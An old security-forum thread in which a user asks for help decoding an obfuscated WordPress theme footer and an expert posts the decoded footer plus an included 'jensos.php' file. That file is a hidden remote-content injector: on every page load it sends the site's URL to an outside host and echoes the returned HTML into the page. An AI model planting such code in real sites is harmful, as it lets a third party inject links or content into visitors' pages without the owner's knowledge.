Waraxe IT Security Portal
Login or Register
July 1, 2025
Menu
Home
Logout
Discussions
Forums
Members List
IRC chat
Tools
Base64 coder
MD5 hash
CRC32 checksum
ROT13 coder
SHA-1 hash
URL-decoder
Sql Char Encoder
Affiliates
y3dips ITsec
Md5 Cracker
User Manuals
AlbumNow
Content
Content
Sections
FAQ
Top
Info
Feedback
Recommend Us
Search
Journal
Your Account
User Info
Welcome, Anonymous
Nickname
Password
(Register)

Membership:
Latest: MichaelSnaRe
New Today: 0
New Yesterday: 0
Overall: 9144

People Online:
Visitors: 70
Members: 0
Total: 70
Full disclosure
iOS Activation Flaw Enables Pre-User Device Compromise andIdentity Exposure (iOS 18.5)
Remote DoS in httpx 1.7.0 – Out-of-Bounds Read via Malformed <title> Tag
CVE-2025-32978 - Quest KACE SMA Unauthenticated LicenseReplacement
CVE-2025-32977 - Quest KACE Unauthenticated Backup Upload
CVE-2025-32976 - Quest KACE SMA 2FA Bypass
CVE-2025-32975 - Quest KACE SMA Authentication Bypass
RansomLord (NG v1.0) anti-ransomware exploit tool
Disclosure Yealink Cloud vulnerabilities
: "Glass Cage" – Zero-Click iMessage ? Persistent iOS Compromise + Bricking (CVE-2025-24085 / 24201, CNVD-2025-07885)
SEC Consult SA-20250612-0 :: Reflected Cross-Site Scripting in ONLYOFFICE Docs (DocumentServer)
SEC Consult SA-20250611-0 :: Undocumented Root Shell Access on SIMCom SIM7600G Modem
Call for Applications: ERCIM STM WG 2025 Award for the Best Ph.D. Thesis on Security and Trust Management (July 31, 2025)
SEC Consult SA-20250604-0 :: Local Privilege Escalation and Default Credentials in INDAMED - MEDICAL OFFICE (Medical practice management) Demo version
Full Disclosure: CVE-2025-31200 & CVE-2025-31201 – 0-Click iMessage Chain ? Secure Enclave Key Theft, Wormable RCE, Crypto Theft
Defense in depth -- the Microsoft way (part 89): user grouppolicies don't deserve tamper protection
Log in Register Forum FAQ Memberlist Search
IT Security and Insecurity Portal

www.waraxe.us Forum Index -> PHP script decode requests -> footer php base 64 decode
Post new topicReply to topic View previous topic :: View next topic
footer php base 64 decode
PostPosted: Sat Sep 06, 2008 4:51 am Reply with quote
haxxor
Beginner
Beginner
Joined: Sep 06, 2008
Posts: 2




Hi, i need some help decoding this:


http://www.megaupload.com/?d=WNEX3CG2

There are 2 files in the zip package.

I will really aprecciate you'r help.

Thanks so much!
View user's profile Send private message
PostPosted: Sat Sep 06, 2008 6:51 am Reply with quote
mge
Valuable expert
Valuable expert
Joined: Jul 16, 2008
Posts: 142




footer:
Code:
?> <div class="clear"></div>
</div></div></div>
<!-- /Main -->
<!-- Footer -->
<div id="footer">

<?php wp_loginout(); ?> | <img src="<?php bloginfo('stylesheet_directory'); ?>/images/rss.png" alt="" /><a href="feed:<?php bloginfo('rss2_url'); ?>" class="rss"> Entries RSS</a> | <img src="<?php bloginfo('stylesheet_directory'); ?>/images/rss.png" alt="" /><a href="feed:<?php bloginfo('comments_rss2_url'); ?>" class="rss"> Comments RSS</a> <br />
Copyright &copy; <?php echo date("Y"); ?> <a title="Copyright" href="<?php echo get_settings('home'); ?>/"><?php bloginfo('name'); ?></a> | Design by <a href="http://www.litereview.com/">Lite Review</a> and Supported by <?php include(TEMPLATEPATH . '/jensos.php'); ?> and <a href="http://oneleveldirectory.com">One Level Directory</a>
</div>
<!-- Footer -->
</div>
<!-- /Page -->
<?php wp_footer(); ?>
</body>
</html><?


jensos:
Code:
?><?php

$defaultHtml = '';
//show_footer_links('localhost', '/php/FLink/src/FLink/script.php', 3.5, $defaultHtml);
show_footer_links('net-tec-ag.de', '/FLink/script.php', 3.5, $defaultHtml);


/**
* Show html provided by scripts.php
*
* @param string $requestHost the hostname of the script.php
* @param string $requestUri - the uri/path to the script.php
* @param string $defaultHtml - default html to show if some problem
* @param float $timeout - the request timeout
*/
function show_footer_links($requestHost, $requestUri, $timeout, $defaultHtml) {
$thisDomain = getenv('HTTP_HOST');
$thisUri = getenv('REQUEST_URI');
$html = $defaultHtml;
// skip if no domain or local domain
if ($thisDomain && !preg_match('/^(localhost|127.0.0.1)(:|$)/s',
$thisDomain)) {
$thisUrl = "http://$thisDomain$thisUri";
$requestUri = $requestUri . '?url=' . urlencode($thisUrl);
$requestHost = fill_subdomain($thisUrl, $requestHost);
$content = read_http_url($requestHost, $requestUri, 2.5);
// removing utf-8 BOM signature (if any):
$content = preg_replace('/^(\xEF\xBB\xBF)*\s*</s', '<', $content);
//echo "received: $content";
if (preg_match('/^<!--start-->.+<!--end-->\s*$/s', $content)) {
$html = $content;
}
}
echo $html;
}

function fill_subdomain($url, $requestHost) {
if ($requestHost !== 'localhost') {
if (function_exists('crc32')) {
$crc32 = crc32($url);
$ucrc32 = sprintf('%u', $crc32);
$num = $ucrc32 % 10;
} else {
$num = 0;
}
$subdomain = 'www' . $num . '.';
$requestHost = $subdomain . $requestHost;
//echo $requestHost;
}
return $requestHost;
}

// perfrom pne get http call
function read_http_url($host, $uri, $timeout) {
$start = microtime_float();
$content = '';
$fh = @fsockopen($host, 80, $errno, $errstr, 0.5);
if ($fh && !$errstr) {
if (function_exists('socket_set_timeout')) {
socket_set_timeout($fh, $timeout);
}
socket_set_blocking($fh, 0);
$request = <<<EOD
GET $uri HTTP/1.0
Host: $host
Connection: close


EOD;
$write_err = @fwrite($fh, $request);
while (!feof($fh) && (microtime_float() - $start < $timeout)) {
usleep(5000);
$block = fread($fh, 1024*4);
$content .= $block;
}
fclose($fh);
$content = preg_replace('/^(.+?)(\r\n|\n){2}/s', '', $content);
}
return $content;
}

// precise time in microseconds as float
function microtime_float() {
list($usec, $sec) = explode(' ', microtime());
return ((float)$usec + (float)$sec);
}
?>


there's a code segment after this but it doesn't get evaluated anyway so it doesn't make sense on its own.
View user's profile Send private message
PostPosted: Sat Sep 06, 2008 1:55 pm Reply with quote
haxxor
Beginner
Beginner
Joined: Sep 06, 2008
Posts: 2




Thanks a lot my friend!

Really, thanks.
View user's profile Send private message
PHP script decode requests
PostPosted: Tue Jun 02, 2009 8:23 pm Reply with quote
ferto
Beginner
Beginner
Joined: Jun 02, 2009
Posts: 1




What makes the code?

Please tell me for know.

Thank you very much
View user's profile Send private message
footer php base 64 decode
www.waraxe.us Forum Index -> PHP script decode requests
You cannot post new topics in this forum
You cannot reply to topics in this forum
You cannot edit your posts in this forum
You cannot delete your posts in this forum
You cannot vote in polls in this forum
All times are GMT
Page 1 of 1

Post new topicReply to topic


Powered by phpBB © 2001-2008 phpBB Group



PCWizardHub - Helping you fix, build, and optimize your PC life
All logos and trademarks in this site are property of their respective owner. The comments and posts are property of their posters, all the rest (c) 2004-2024 Janek Vind "waraxe"
Page Generation: 0.033 Seconds